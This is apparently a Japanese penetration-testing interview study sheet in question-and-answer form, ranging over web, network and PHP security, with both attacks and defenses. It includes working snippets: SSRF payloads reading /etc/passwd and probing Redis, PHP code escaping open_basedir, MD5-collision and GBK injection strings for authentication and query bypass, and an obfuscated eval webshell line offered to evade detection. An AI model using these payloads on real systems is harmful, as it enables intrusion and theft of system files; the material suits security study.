ペネトレーションテスト
- JWT(JSON Web Token)攻撃手法(ヘッダー、ペイロード、署名)?
署名検証なし デコード後、内容を変更して再エンコード
ハッシュアルゴリズムを無効化し、noneに変更
弱い鍵のブルートフォース攻撃 Key IDの操作(Key IDの内容がデータベースクエリのパラメータとして使用される可能性があるため、SQLインジェクション、ディレクトリトラバーサル、コマンドインジェクションのリスク)
- クロスドメインの実装方法?
JSONPクロスドメイン
CROSクロスドメイン
プロキシクロスドメインリクエスト(CDN)
HTML5 postMessage メソッド
document.domainを変更してサブドメイン間を跨ぐ(同レベルドメインまたは親ドメインに対応)HTML5 WebSocketプロトコルに基づく
- JSONPクロスドメインとCROSクロスドメインの違い?
(厳密にはこれらは両方ともCSRF脆弱性である)JSONPはjQueryが提供するクロスドメイン方式
CORSはW3Cが提供するクロスドメイン標準
JSONPはGET方式のクロスドメインのみをサポート
CORSはGETとPOST方式のクロスドメインをサポート
JSONPはすべてのブラウザをサポート(すべてのブラウザがscriptタグを使用してリクエストを送信できる)CORSはIE10以下のブラウザをサポートしない
- SSRF脆弱性の活用
ローカル:
ファイル読み込み:file:///etc/passwd
dictプロトコルを使用してRedis設定情報を取得:dict://127.0.0.1:6379/infogopherプロトコルを使用してRedisを一括でリバウンド(未認証アクセス) fastcgi攻撃内網の比較的脆弱なサービス:Redis、データベース、fastcgiなど
リモート:
ファイルを読み取り、リモートサーバーに送信
踏み台
- DNS帯外はどの脆弱性で使用できますか?
SQL
盲XXEとSSRF
XSSエコーバックなし
コマンド実行エコーバックなし
- データベースの種類?
リレーショナルデータベース(SQL):MySql、Oracle、MSSQL、Access、Sqlite、PostgreSQL非リレーショナルデータベース(NoSQL):MongoDB、Redis
XMLファイル:XPathインジェクション
- SQLとNoSQLの違い?
SQLの利点:構造が安定、論理的、理解しやすい
SQLの欠点:高同時実行に不向き、大量データの効率的な読み書きに不向き、メンテナンスコストが大きい、NoSQLに比べて相対的に遅いNoSQLの利点:拡張容易、データ構造が柔軟、クエリ速度が速い
比較:優劣ではなく、使用環境による。リレーショナルデータベースは信頼性が高く、銀行などのデータ精度が要求される環境に適している。非リレーショナルデータベースは高同時実行、大量データベース操作、データ精度がそれほど重要でない環境に適している。
- ファイルアップロードのバイパス?
軽量検索バイパス
a. フロントエンドJavaScript検索のバイパス:Burpを使用してパケットをキャプチャして変更。
b. サーバーサイドMIMEタイプ検索のバイパス:Burpを使用してパケットをキャプチャして変更。
パス/ファイル拡張子検索のバイパス
a. ブラックリスト検索方式
大文字小文字、拡張名(php4)
特別なファイル名バイパス;
0x00切り捨てバイパス;
.htaccessファイル攻撃(Windowsストリーム)
b. ホワイトリスト検索方式
切り捨てバイパス
Content-Disposition: form-data; Content-Type: application/octet-stream これらの項目にスペースを加減、大文字小文字を変更、文字列連結(form-data->form-da+ta)
ダブルファイルアップロード
トロイの木馬をアップロードする際、形式エラーが表示されたら直接Content-Typeを正しい形式に変更してバイパスを試みるファイル内容検索のバイパス:
-
通常の画像の末尾にワンライナーのトロイの木馬を追加
-
二次レンダリング
-
ファイルヘッダ検索
PNGのファイルヘッダは16進数の89 50 4E 47 0D 0A 1A 0A
GIFは47 49 46 38 37 61 GIF89a
JPGはFF D8 FF E0
ファイルエディタアップロード:FCKEditor、Ewebeditor、UEditor、KindEditor、XHditor
- open_basedirアクセスディレクトリ制限のバイパス方法?
コマンド実行関数を使用してバイパス(system('cat /etc/passwd'))Twitter最新バイパス(chdir()関数で作業ディレクトリを変更)
mkdir("/tmp/fuck");
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/etc/passwd"));
globプロトコル
$a = "glob:///var/www/test/.txt";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}
?>
- PHP絶対パス爆発方法?
シングルクォート爆発パス
エラーパラメータ値爆発パス
www.xxx.com/researcharchive.php?id=-1
Google爆発パス
Site:xxx.edu.tw warning テストファイル爆発パス(test.php、1.php、ceshi.php、info.php)phpmyadmin爆発パス
/phpmyadmin/libraries/lect_lang.lib.php
設定ファイルからパスを検索
- 一般的なバックドア方式?
Windows:
-
システムファイル置換クラス(shiftバックドア、拡大鏡バックドア)
-
レジストリ変更クラス
自動起動項目、スクリーンセーバー登録表、ユーザーログイン初期化、イメージハイジャック、シャドウアカウント、ファイル関連付け -
ファイルクラス
自動起動フォルダー、Office起動ハイジャック
- タスクスケジューラ schtasks 、WMI、bitsadmin
Linux
-
プリロード型動的リンクライブラリバックドア
-
SSHバックドア
-
SUIDバックドア
-
vimバックドア
-
PAMバックドア
-
プロセス注入
-
Rootkit
-
ポート再利用
-
IISのWebサイトが発見された場合、その脆弱性をどう試すか?(バージョンによる)
-
IIS5.0/6.0/7.5解析脆弱性
-
IIS7.5 NETソースコードリークと認証脆弱性
-
IIS7.5 ASP認証バイパス
-
IIS 6.0 PHPインストール認証バイパス/IIS PUT (webDAV)これは設定脆弱性と見なすべきでしょう
-
SQLインジェクションが存在する場合、どのように異なるデータベースを判断しますか?
(1) コメント記号による判断
/はMySQLのコメント記号であり、エラーが返される場合はそのインジェクションポイントがMySQLではないことを示します;
次のクエリ文字列を送信し続けます:--はOracleとMSSQLでサポートされるコメント記号であり、正常に返される場合はこれらの2つのデータベースタイプのいずれかであることを示します。
次のクエリ文字列を送信し続けます:;は句クエリ識別子であり、Oracleは複数行クエリをサポートしないため、エラーが返される場合はOracleである可能性が高いです。
(2) 関数による判断 and (select count()from MSysAccessObjects)>0 Accessデータベースand (select count()from sysobjects)>0 が正常に返される場合はmssqlデータベースand length(user())>10 が正常に返される場合はMysql
Oracleはfrom dual仮想データベースによる判断が可能
(3) 言語とミドルウェアの常識による
Aspと.netは通常sqlserverを使用
Phpは通常mysqlまたはpostgresqlを使用
Javaは通常oracleまたはmysqlを使用
IISサーバーはWindowsベースのアーキテクチャであり、バックエンドデータベースはsqlserverの可能性がある Apacheサーバーは、オープンソースデータベースmysqlまたはpostgresqlを使用する可能性がある
- スピアフィッシング攻撃とウォーターホール攻撃?
スピアフィッシング攻撃は通常、電子メールなどの電子通信手段を介して行われ、特定の個人、組織、企業を対象とし、窃取される情報はより機密性が高く価値があります。主に悪意のあるリンクをクリックさせたり、アカウントとパスワードを入力させて情報を取得させたりします。
ウォーターホール攻撃はスピアフィッシング攻撃の延長と見なされます:
攻撃者は被害者または特定のグループが頻繁に訪れるサイトを観察し、それらのサイトにマルウェアを感染させます。次に、これらのサイトの脆弱性を見つけ、悪意のあるプログラミングコード(通常はJavaScriptまたはHTML形式)をサイトに表示される広告やバナーに注入します。
次に、悪意のあるコードは被害者をマルウェアや悪意のある広告があるフィッシングサイトにリダイレクトします。
被害者がこれらのサイトにアクセスすると、被害者のコンピュータは自動的にマルウェアを含むスクリプトをダウンロードします。
次に、マルウェアは被害者の個人情報を収集し、攻撃者が操作するC&Cサーバーに送信します。
その他のフィッシング方法:
フィッシングWiFi、偽基地局、フィッシングQRコード、USBフィッシング
- ミドルウェア脆弱性のまとめ?
(一) IIS
-
PUT脆弱性
-
短いファイル名推測
-
リモートコード実行
-
解析脆弱性
(二) Apache
-
解析脆弱性
-
ディレクトリトラバーサル
(三) Nginx
-
ファイル解析
-
ディレクトリトラバーサル
-
CRLFインジェクション
-
ディレクトリトラバーサル
(四)Tomcat
-
リモートコード実行
-
warバックドアファイルデプロイ
(五)jBoss
-
逆シリアライズ脆弱性
-
warバックドアファイルデプロイ
(六)WebLogic
-
逆シリアライズ脆弱性
-
SSRF
-
任意ファイルアップロード
-
warバックドアファイルデプロイ
(七)その他ミドルウェア関連脆弱性
-
FastCGI未認証アクセス、任意コマンド実行
-
PHPCGIリモートコード実行
-
XSS?(XSSの主な原因はコード層での入出力フィルタリングが不十分であること)
反射型XSSはすべて悪意のあるデータをサーバーに送信し、フィルタリングせずにブラウザに戻して起こるものです;
DOM型XSSは主にブラウザページのDOMノードを変更することによって形成され、サーバーを経由しない可能性があります(PHP_SELF)
保存型XSSは主にデータベースから取り出してブラウザに出力する際に実体化エンコードフィルタリングを行っていないことが原因です。
XSSワームの発生条件:(保存型XSSが必要とは限らない)
1つはXSSが発生するページがselfページでないこと
ユーザー間にインタラクションが発生するページ
XSS保護
出力エンコーディング処理、jsエスケープ。実体化エンコーディング
ブラックホワイトリストフィルタリング(エンコーディング制限、タグ制限、記号制限)
クロスドメイン制限
CSPコンテンツセキュリティポリシー(ブラウザフロントエンド保護ポリシー)の実質はホワイトリスト制度であり、開発者はクライアントにどの外部リソースをロードして実行できるかを明確に伝えます。これはホワイトリストを提供することと同等です。同じオリジン・ドメインを極限まで発揮します。その実装と実行はすべてブラウザによって完了し、開発者は設定を提供するだけです。CSPはWebページのセキュリティを大幅に強化します。攻撃者が脆弱性を見つけたとしても、スクリプトを注入することはできません、ホワイトリストに登録された信頼できるホストを制御している場合を除きます。主にXSS脆弱性を防止しますが、XSSを完全に排除することはできません。
バイパス:
HTML5新しいタグ属性
JavaScriptプロトコル
エンコーディング混淆
- 中間者攻撃(Burpパケットキャプチャ原理)
中間者攻撃は(相互認証の欠如による)攻撃です;クライアントとサーバー間のSSLハンドシェイクプロセスで相互認証が欠如しているために発生する脆弱性 (攻撃方式SSLSniff、SSLStrip)
中間者攻撃を防御する方案は通常、以下のいくつかの技術に基づいています:
-
公鍵基盤インフラストラクチャPKI PKI相互認証メカニズムを使用します。
-
遅延テスト
複雑な暗号化ハッシュ関数を使用して計算を行い、数十秒の遅延を発生させます;通常両方が20秒かけて計算する場合、全体的な通信が60秒かかって相手に到達した場合、これは第三者の存在を示唆します。 -
その他の鍵交換形式を使用する
ARPスプーフィング:
原理:
各ホストにはARPキャッシュテーブルがあり、キャッシュテーブルにはIPアドレスとMACアドレスの対応関係が記録されています。LANデータ転送はMACアドレスに依存しています。ARPキャッシュテーブルメカニズムには欠陥があり、リクエストホストがARP応答パケットを受信すると、相手ホストにARPリクエストパケットを送信したかどうかを検証せずに、直接この返信パケットのIPアドレスとMACアドレスの対応関係をARPキャッシュテーブルに保存します。同じIPアドレスの対応関係が既に存在する場合、既存のものは置き換えられます。これにより攻撃者はホストの通信を盗聴する可能性があります
保護
-
ホストでゲートウェイMACとIPアドレスを静的にバインド(デフォルトは動的)、コマンド:arp -s ゲートウェイIP ゲートウェイMAC
-
ゲートウェイでホストMACとIPアドレスをバインド
-
ARPファイアウォールを使用
-
データベースストレージエンジン?
データベースアーキテクチャはクライアント接続層、データベースサービス層、ストレージエンジン層で構成されています。
ストレージエンジンはデータベース内でファイルと直接やり取りするサブシステムであり、ストレージエンジンの下部は物理ストレージ層で、ファイルの物理ストレージ層を含みます。バイナリログ、データファイル、エラーログ、スロークエリログ、全ログなどがあります。
異なるストレージエンジンは異なるストレージメカニズム、インデックス技術、ロックレベルなどの機能を提供しますInnoDB:主流のストレージエンジン。(MySQL)
MyISAM:アクセス速度が速いが、トランザクションをサポートせず、徐々に廃止されている
MEMORY:BTREEインデックスまたはHASHインデックス。
- HTTPSの確立プロセス、TCP3ウェイハンドシェイク4ウェイフェンシングプロセス、OSI4層ネットワークモデルとその各層プロトコル、7層モデル?
- PHPコード監査で問題が発生しやすい点?
- ウィークタイプ(比較、文字タイプ変換)
intval関数の四捨五入(小数点以下の切り捨てバイパス)
intval関数の文字列変換
if($a>1000){
mysql_query('update ... ... set value=$a')
} //$aは整数であるはず。しかし、1002/*/unionを入力するとこの文に入ることができます配列から文字列への変換
Arrayを整数型int/浮動小数点型に変換すると要素数が返されます;
Arrayをboolに変換するとArrayに要素があるかどうかが返されます;
Arrayをstringに変換するとArrayが返され、warningがスローされます。
MD5()関数===を使用して配列でバイパス ?username[]=1&password[]=2 配列のハッシュ後はすべてnullになります
MD5()関数==、md5衝突を使用 ?username=s878926199a&password=s155964671a ハッシュ衝突+ウィークタイプ
- 関数の欠陥
Strcmp()関数 配列を比較できず、比較時にエラーが発生し0を返す PHP5.3以前のバージョン ereg正規%00切り捨て 16.php?nctf=1%00%23biubiubiu 5.3以前のphpをサポートした後preg_match()関数を使用(バイパス分析あり) strposエラー時もnullを返す 元は文字列の判断でしたが、配列を渡すと返り値はnullになりnull! =false シリアライズ:phpのオブジェクト、クラス、配列、変数、無名関数などを文字列に変換し、データベースやファイルに保存しやすくする(状態情報を文字列として保存)
unserialize()逆シリアライズパラメータが制御可能
iconv文字コード変換時に文字列の切り捨てが発生する可能性がある。アップロードされたファイル名がshell.php{%80-%99}.jpgの場合アップロードバイパス
filter_var ( url、FILTER_VALIDATE_URL ) PHP組み込みの特定フィルタでURLをフィルタリングし、再出力時にXSSを引き起こす可能性がある
?url=javascript://comment%250a alert(1)
foreach文の乱用による変数の上書き
- デフォルト省略パラメータの欠陥
in_array(a,array,FALSE)関数 配列に特定の値が存在するかチェック 3番目のパラメータはデフォルトでFALSEであり、不注意な開発者が3番目のパラメータをtrueに書いていない場合、比較プロセスは弱タイプチェックのみを行い、バイパスが発生しやすい htmlentities(string,省略パラメータ) 文字をHTMLエスケープ文字に変換 3大省略パラメータ:
ENT_COMPAT(デフォルト値):二重引用符のみを変換。
ENT_QUOTES:両方の引用符を変換。
ENT_NOQUOTES:両方の引用符を変換しない。
同様に開発者が不注意で省略パラメータを付けず、単一引用符のエスケープを引き起こす
- IP偽造
TCPには3ウェイハンドシェック接続が必要であり、通常のTCP/IP通信を実現する場合、送信元IPを偽造することはできません。つまり、TCP/IPプロトコルでは、データパケットの送信元IPを偽造することはできますが、送信されたデータパケットは行きだけになり、通常の通信を実現することはできません。しかし、いくつかのDDoS攻撃では可能です
バックエンドIPの取得元
REMOTE_ADDRはリモートIPであり、デフォルトではTCP接続クライアントのIPから取得されます。つまり、最も正確であり、直接サーバーに接続したクライアントのIPを取得します。相手がプロキシサーバー経由でインターネットに接続している場合、プロキシサーバーのIPが取得されます。
HTTP_X_FORWARDED_FOR 大規模なネットワークで最も元のユーザーIPまたはプロキシIPを取得するために、HTTPプロトコルを拡張して定義された実体ヘッダーです。 バックエンド処理がこの方法の場合、XFFインジェクションとIP偽造によるアクセス制限バイパスのリスクがあります
X-Real-IP X-Forwarded-Forはプロキシがない場合ユーザーのIPアドレスと理解でき、リバースプロキシがある場合はまずREMOTE_ADDRをX-Real-IPに割り当て、最終的にX-Real-IPからユーザーのIPを取得できます。
CDN-Src-IP CDNノードは何らかの方法で元クライアントのIPを元サーバーに渡します22. SQLインジェクションでコンマがフィルタリングされている場合、どうしますか?
-
joinを使用できます
select id,ip from client_ip where 1>2 union select from ((select user())a JOIN (select version())b) ; -
from 1 for 1を使用できます
select substr(database() from 1 for 1) ;
select mid(database() from 1 for 1) ;
- オフセット
select * from news limit 0,1 以下のSQL文と等価です
select * from yang limit 1 offset 0
- WebSocketについて知っていますか?
その最大の特徴は、サーバーがクライアントに情報をプッシュでき、クライアントもサーバーに情報を送信できることです。これは真の双方向対話であり、サーバープッシュ技術の一種です。
その他の特徴には、
(1)TCPプロトコル上に構築されており、サーバー側の実現が比較的簡単です。
(2)HTTPプロトコルと良好な互換性があります。
(3)データ形式が軽量で、オーバーヘッドが小さく、通信効率が高いです。
(4)テキストを送信することも、バイナリデータを送信することもできます。
(5)同一オリジン制限がなく、クライアントは任意のサーバーと通信できます。
(6)プロトコル識別子はws(暗号化の場合はwss)であり、サーバーアドレスはURLです。
- DDoSとは? 非正常なデータパケット(syn,flood)など
分散型サービス拒否攻撃(DDoS)は現在、ハッカーが頻繁に使用し、防御が困難な攻撃手法です。DoSの攻撃方法には多くの種類があり、最も基本的なDoS攻撃は合理的なサービス要求を利用して過度なサービスリソースを占有させ、正当なユーザーがサービス応答を受け取れなくすることです。
コンピュータとネットワーク技術の発展に伴い、コンピュータのメモリは大幅に増加し、処理能力も急速に成長し、DDoS攻撃を緩和できます。しかし、複数の傀儡機が同時に送信しても対応できません。
CC攻撃
複数の正常なユーザーをシミュレートして、フォーラムなど大量のデータ操作を必要とするページを絶えずアクセスさせ、サーバーリソースの浪費を引き起こし、CPUが長時間100%の状態になり、常に処理しきれないリクエストがあり、ネットワーク混雑、正常なアクセスが中止されます。この攻撃技術はレベルが高く、実際のソースIPが見えず、特に大きな異常トラフィックも見えません。
CC攻撃と従来のDDoSの違い
攻撃対象の違い:DDoSはIPを対象とし、CCはWebページを対象とする
トラフィックサイズの違い:DDoSにはより大きなトラフィックが必要
危害の違い:DDoSの危害は大きく、CCの危害は時間が長い
ハードルの違い:DDoSは多くの傀儡機を必要とし、CCはより利用しやすい
攻撃されたサーバーには以下の症状があります
多くの待機中のTCP接続があります;
ネットワークには多くの無用なデータパケットが溢れ、ソースアドレスが偽です;
ネットワーク混雑、被害ホストは正常に外部と通信できません;
クラッシュを引き起こします。
DDoS防御
ネットワーク設備施設(帯域幅の増加、ハードウェアファイアウォール、高性能デバイス)
負荷分散CDN、分散型クラスタ防御
トラフィクスクリーンニングサービス
特定のトラフィックを制限、不要なサービスとポートをフィルタリング
Synフロッド
サーバーにSYNパケットを送信した後、突然死んだりオフラインになったりすると、サーバーは3ウェイハンドシェックでクライアントが見つからず、再試行します。この再試行時間、通常は分単位です
IPスプーフィングDoS攻撃
偽のIPを送信し、接続が成功せず、サーバーはキャッシュをクリアして再接続する時間の隙間
UDPフロッド攻撃
無用なデータストリームが帯域幅を占有
Pingフロッド攻撃
自分のデータパケットが64Kより大きいと主張し、相手サーバーはこの主張を見ると、メモリ割り当てエラーが発生し、TCP/IPスタックエラーでクラッシュします
Land攻撃
特別に作成されたSYNパケットで、その送信元アドレスと宛先アドレスが両方ともターゲットサーバーアドレスに設定されています。受信サーバーは自分のアドレスにSYN-ACKメッセージを送信し、その結果、このアドレスはACKメッセージを返して空の接続を作成します。攻撃されたサーバーは、このような接続を1つ受信するたびに、タイムアウトまで保持します
- URLを入力すると何が起こりますか?
1)ドメインに対応するIPを検索(DNS、順にブラウザキャッシュ、システムキャッシュ、ルーターキャッシュ、ISPキャッシュ、再帰的検索)
2)アプリケーション層-ブラウザがWebサーバーにHTTPリクエストを送信
3)トランスポート層-HTTPデータパケットはTCPセグメントに埋め込まれます
4)ネットワーク層-TCPセグメントはIPデータパケットに埋め込まれます
5)ネットワークインターフェース層-IPデータパケットはフレームに埋め込まれ、ネットワークで転送されます
6)ゲートウェイが関連サーバーに転送し、対応ポートのサービスにリクエスト
7)サーバーはHTTP応答を返します
8)ブラウザは同じ手順でHTTP応答のコンテンツを読み取り、ページを解析します
- Webシェル検出の考え方
静的検出 特徴コードのマッチング
動的検出 cmd bashなどの敏感なアプリケーションの異常な起用
ログ検出 HTTP異常リクエストモデル検出
構文検出 危険な関数の捕捉
タスクスケジュール バックドア防止
- GPCとは?開いている場合どうバイパスしますか?
php.iniのmagic_quotes_gpc、デフォルトはoff、開いている場合、addslashes()とstripslashes()の機能を実現し、GET、POST、COOKIE入力からの単一引用符、二重引用符、バックスラッシュ、NULLにバックスラッシュを追加してエスケープします
バイパス:
HTTPリクエストヘッダーの内容は$_SERVERで読み取ることができ、それをパラメータ変数として二次注入として使用できます
エンコードデコードバイパス(UTF-7、GBK、二次エンコードなど)
コード監査—単一引用符エスケープ
- Webで一般的な暗号化アルゴリズムには何がありますか?
一方向ハッシュ暗号化 MD5、SHA、MAC
対称暗号化 AES、DES
非対称暗号化 RSA、RSA2
フロントエンド暗号化 RSA、MD5、AES
対称暗号化:暗号化と復号化に同じ暗号鍵を使用 効率的 セキュリティが低い
非対称暗号化:暗号化と復号化に異なる暗号鍵を使用、互いに暗号化・復号化 効率的 セキュリティが高い httpsはこれを使用します
- XSSはクッキーを取得するだけで何ができますか?
サーバーの実際のIPを取得
XSSワーム
フィッシング攻撃
フロントエンドJSマイニング
キーロード記録の取得
- セキュリティインシデント対応応急措置
証拠収集、サーバーにログイン
バックアップ、サーバーの重要なディレクトリを確認
ウイルススキャン(バックドアファイルを検索 - ファイルの時間、ユーザー、拡張子などの属性に注意)、ログ取得(システムログ、ミドルウェアログ、WAFログなど);
処理、バックアップを復元(スナップロールバック、最新のもの)、侵入方法を特定(脆弱性検出と修復)、ソースを追跡、侵入IP、侵入手法(ネットワーク攻撃イベント)の特定など
記録、アーカイブ—予防—イベント検知—抑制—根絶—復旧—追跡—記録
一般的な脆弱性の対応その他のセキュリティインシデント
- HTML5の新しいセキュリティ機能
iframeサンドボックス デフォルトでは静的ページの表示以外は許可されず、フォームの送信、ポップアップ、スクリプトの実行は禁止CSPコンテンツセキュリティポリシー
Flashロードのキャンセル
- ウイルス、トロイの木馬、ワームの違い?
ウイルス、トロイの木馬、ワームはすべてコンピュータウイルスと総称されます。
ウイルスは作成者がコンピュータプログラムに挿入した、コンピュータ機能またはデータを破壊するコードです。
トロイの木馬は特定のプログラムを通じて別のコンピュータを制御することです。(ワンライナートロイの木馬)
ワームはシステムの脆弱性を利用してネットワークを介して自己複製できる悪意のあるプログラムです。(XSSワーム)
ウイルス、ワームの共通特徴は自己複製、伝播、コンピュータファイルの破壊です。トロイの木馬は偽装、潜伏、情報窃取、リモート制御を特徴とします。
- クラウドセキュリティの理解?
権限管理、内網脅威、情報漏洩、ホスティングベンダーへの過度な依存
- XSSを防止するための、フロントエンドとバックエンドの両方の角度?
フロントエンド:直接HTMLを連結する方法を使用しないでください。フレームワークが許可する場合は、createElementのようなメソッドを使用して実装します。または、Vueのような成熟したレンダリングフレームワークを使用します。CSPポリシー
バックエンド:実体化エンコーディング、長さ切り取り、フィルタリング
- 仮想マシン脱出
仮想マシン脱出とは、仮想マシンの制限を突破し、ホストオペレーティングシステムと対話するプロセスです。攻撃者は仮想マシン脱出を通じてホストオペレーティングシステムを感染させたり、ホスト上で悪意のあるソフトウェアを実行したりできます。
- 羊毛党をどう防止しますか?
対応する活動の閾値と制限(どのユーザー、回数)
猫池、カード池がある場合はIPをブロック、ユーザーをブロック、認証コードを追加、身元確認を行う
- MySQLの@と@@の違いは何ですか?
@はユーザー定義変数です
@@はグローバル(グローバル変数)またはセッション変数です
- Webシェルがアップロードされた場合、菜刀などのツールの接続をどう禁止しますか?
セキュリティドッグによるブロック、スキャンとマルウェアの削除、トラフィック分析(蚁剑、冰蝎トラフィックエスケープ)
バイパス保護:スーパーグローバル変数変更法、接続関数変更法@eval(base64_decode($_POST[action]));
- インターネットWebサイトのポートをどう防御し、侵入が発見された場合どう解決しますか?
防御方法:ファイアウォール、WAF、IPS(侵入防御システム)、IDS(侵入検知システム)
解決方法:危険なサービスを閉じる(SMB、RDP)、データベースポートをインターネットに公開しない IPをブロックし、ログを確認します。
- NATの2つのモード
SNAT:ソースネットワークアドレス変換
原理:データパケットの送信元アドレスを変更します。ソースNATは最初のデータパケットの送信元アドレスを変更し、常にデータパケットがネットワークに送信される前に完了し、データパケットの偽装はSNATの例です。
内網からのリクエストパケットの元のアドレスを自分のアドレスに変換してリモートサーバーに送信し、戻ってくる応答パケットで逆処理を行う、ネットワークプロキシに似ています。
DNAT:宛先ネットワークアドレス変換
原理:データパケットの宛先アドレスを変更します。宛先NATはまさにSNATと逆で、最初のデータパケットの宛先先アドレスを変更します。負荷分散、ポートフォワーディング、透過プロキシはDNATに属します。
内網サービスポートをパブリックネットワーク出口アドレスにマッピングします。
NATはIPアドレス不足の問題を解決できるだけでなく、ネットワーク外部からの攻撃を効果的に回避し、ネットワーク内部のコンピュータを隠蔽・保護します
- 企業内部セキュリティ
物理的脅威:入室管理、監視、USBデバイス接続禁止、PCを閉鎖、定期巡回検査
ネットワーク脅威:行動管理デバイスの展開、信頼できるネットワーク構造、IPとMACアドレスのバインド、ネットワーク行動をグループ化、不要なソフトウェアと通信プロトコルを制限、定期的なログ監査
- evalとsystemの違い?
evalタイプ関数はコード実行です
systemタイプ関数はコマンド実行です
eval関数内はPHP構文に適合する文でなければならず、文の末尾にセミコロンがないとエラーが発生します
system("whoami"); //whoamiコマンドが実行される
eval("whoami"); //whoamiコマンドは実行されない
?>
<?php
eval("phpinfo();"); //phpinfo()が実行される
system("phpinfo()"); //phpinfo()は実行されない
?>
<?php
$num=1;
eval("$a = $num;"); //有効,$a=1
system("$b = $num;"); //無効,$b=NULL
?>
コード実行関数:eval、assert、call_user_func、create_function、array_mapコマンド実行関数:system、passthru、exec、pcntl_exec、shell_exec、popen()、`` 42. Pythonブラックテクノロジーのイテレータ、ジェネレーター、デコレーター
イテレータ:コレクション要素にアクセスする方法です。イテラブルオブジェクト list、set、dict
ジェネレーター:アルゴリズムを保存し、ジェネレーター関数とも呼ばれます。
デコレーター:元の関数の機能を変更せずに他の機能を追加します。
- バッファオーバーフローの原理と防御
プログラムのバッファーに、その長さを超える内容を書き込み、バッファーのオーバーフローを引き起こし、プログラムの「スタック」を破壊し、プログラムが他の命令を実行するようにする攻撃です。「バッファーオーバーフロー」の原因は、プログラムがユーザー入力のパラメータを十分に検査していないことです。
- プロセスとスレッド
プロセスはオペレーティングシステムがリソースを割り当てる最小単位であり、スレッドはオペレーティングシステムがスケジュールする最小単位です。
1つのアプリケーションは少なくとも1つのプロセスを含み、1つのプロセスは1つ以上のスレッドを含みます。
各プロセスは実行過程で独立したメモリユニットを持ち、スレッドは実行過程でメモリを共有します。
- MS08-067脆弱性原理分析
445ポート、SMBネットワークサービスとMSRPCネットワークサービス関連、バッファーオーバーフローによるリモートコード実行
- HTTPプロキシ
通常のプロキシ:このプロキシは中間者役割を果たし、Burpに似ています
トンネルプロキシ:HTTPクライアントはCONNECTメソッドを使用してトンネルプロキシに任意の宛先サーバーとポートへのTCP接続を作成し、クライアントとサーバー間の後続データを盲目転送します。空港ノードに似ています
- MySQL 4.1/5.0/5.5各バージョンの主な違いは何ですか?
4.1 サブクエリのサポートが追加され、文字セットにUTF-8が追加
5.0 INFORATION_SCHEMAシステムデータベースが追加 5.5 デフォルトストレージエンジンがInnoDBに変更、新しいパフォーマンスアーキテクチャP_Sが導入され、MySQLサーバーの実行時パフォーマンス監視に使用
- CRLFインジェクション攻撃とは何ですか?(%0d%0a)(\r\n)
ユーザーが復帰改行文字をアプリケーションに挿入して脆弱性をトリガーする攻撃手法です。
この文字がHTTPプロトコルリクエストとレスポンスのヘッダーと組み合わせて使用されると、HTTPリクエストスムギングやHTTPレスポンス分割など、さまざまな脆弱性が発生する可能性があります。
HTTPリクエストスムギング:
キャッシュ汚染—攻撃者はキャッシュ内のコンテンツを変更し、正常なページではなく悪意のあるページを表示させることができます。
ファイアウォール回避—攻撃者はデータパケットを構築してセキュリティチェックを回避します(2つのパケット)、通常CRLFと巨大なデータパケットを構築して使用します。
リクエストハイジャック—攻撃者はこの利用によりHttpOnlyのcookieとHTTP認証データを取得でき、XSSに似ていますが、攻撃者とハッカーの対話は必要ありません。
HTTPレスポンス分割:いくつかのリクエストヘッダーを追加し、XSSに似た攻撃効果を引き起こします
- 内網ゴールデンチケットとシルバーチケットの違いと利用方法
(1)シルバーチケット:ドメインコントローラーのサービスハッシュを取得した場合、クライアント側で通常のドメインユーザーとしてTGSチケットを生成し、それは特定のマシン上の特定のサービス向けであり、生成されたシルバーチケットは、指定されたtargetマシンの指定されたサービスにのみアクセスできます。
(2)ゴールデンチケット:直接ドメインコントローラー内のアカウントのハッシュを取得し、クライアント側でTGTチケットを生成すると、そのチケットはすべてのマシンのすべてのサービス向けになります
- プリコンパイルは100%SQLインジェクションを防げますか?
できません
プリコンパイルの原理:
まずクエリ文を固定します
関数を使用してパラメータを文字列に変換
文字列を連結して実行
キーワードはキーワードとして実行されません
$pdo->query('SET NAMES gbk'); $var = "\xbf\x27 OR 1=1 /"; $query = 'SELECT * FROM test WHERE name = ? LIMIT 1'; $stmt = $pdo->prepare($query); $stmt->execute(array($var)); マルチバイトインジェクションに似ています
- reverse_tcp と bind_tcp の違いは?
(1)reverse_tcp トロイの木馬はターゲットサーバーに接続します テストマシンが攻撃マシンに接続します
(2)bind_tcp トロイの木馬はローカルポートをリッスンします 攻撃マシンがテストマシンに接続します
reverseの方法は通常より安全ですなぜならテストマシンが攻撃マシンに接続するため、通常ファイアウォールに発見されません;bindはテストマシンでポートを開くときにセキュリティソフトウェアとファイアウォールに発見されやすいです
- セキュリティへの理解についてどうお考えですか
インターネットの発展は生活を便利にしましたが、セキュリティ問題ももたらしました
セキュリティは相対的なものであり、セキュリティの壁を打ち破るコストがセキュリティ保護の価値を上回る場合、安全であると言えます ペネトレーションテストにおけるセキュリティの本質は信頼メカニズムであり、ユーザーからのリクエストを毎回セキュリティ検証するかどうかです セキュリティは通常の道を歩かず、常識外れの方法で出る人々のグループによって発見されたものです(脆弱性の修正、バイパス)攻撃と防御は相互に促進します(脆弱性の修正、バイパス)
- CMSフィンガープリンティングルール
Website 公式サイト
JSファイル
Headers 一致するリクエストヘッダー情報
Cookies 一致するcookiesフィールド
Version バージョン情報
Product 製品名マッチング
Meta特徴
URI特徴
- DOMが変更されないように保護し、DOM XSSを防止するにはどうしますか?
ブラウザがページをレンダリングする前に先にエスケープを書き込みます
eval関数で制御不可能な外部データを処理しないでください JSで
filter.jsライブラリ filter.jsは一般的なビジネスシナリオでDOM XSSを引き起こす悪意のあるデータに対してフィルタリングを行う一連の関数で構成されています。
- Pythonスクレイピングの一般的な問題
スクレイピング常用モジュール:requests、BeautifulSoup、lxml、re、xpath、selenium、データ保存、txt/csv/mysql
Selenium(ヘッドレスブラウザ)JS暗号化の突破
従来のスクレイピングマルチスレッド 現在は非同期IOコルーチンが推奨されています 非同期IOモジュールには主にaiohttp、aiomysql、asyncioがあります推奨されるスクレイピング戦略:スクレイピング後にデータベースに書き込み、別に抽出、フィルタリング方法を作成 需求変更時に再スクレイピングしないようにする ネットワークプールが増分スクレイピング、断点継続スクレイピング、重複排除を解決します
